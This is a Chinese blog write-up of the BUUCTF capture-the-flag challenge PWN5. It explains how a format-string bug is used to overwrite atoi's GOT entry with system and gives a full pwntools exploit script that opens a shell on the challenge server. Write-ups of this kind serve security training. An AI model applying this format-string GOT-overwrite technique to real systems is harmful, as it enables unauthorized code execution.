BUUCTF-PWN-[第五空间2019决赛]PWN5

75次阅读
没有评论

共计 411 个字符,预计需要花费 2 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-29 09:53,文中所关联的信息可能已发生改变,请知悉!

checksec

BUUCTF-PWN-[第五空间 2019 决赛]PWN5

IDA

BUUCTF-PWN-[第五空间 2019 决赛]PWN5

有两个输入点,但都做了读取长度限制,无法溢出,那么我们选择利用格式化字符串漏洞

检查偏移

BUUCTF-PWN-[第五空间 2019 决赛]PWN5

得到偏移为 10

思路

利用格式化字符串改写 atoi 的 got 地址,将其改为 system 的地址,然后再输入 '/bin/sh\x00',得到 shell

EXP

from pwn import *

p = remote('node4.buuoj.cn', 28088)
elf = ELF('./pwn')

atoi = elf.got['atoi']
system = elf.plt['system']

payload = fmtstr_payload(10, {atoi: system})  # 又臭不要脸的用了 fmtstr 函数

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

结果

BUUCTF-PWN-[第五空间 2019 决赛]PWN5

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2021-11-13发表,共计411字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)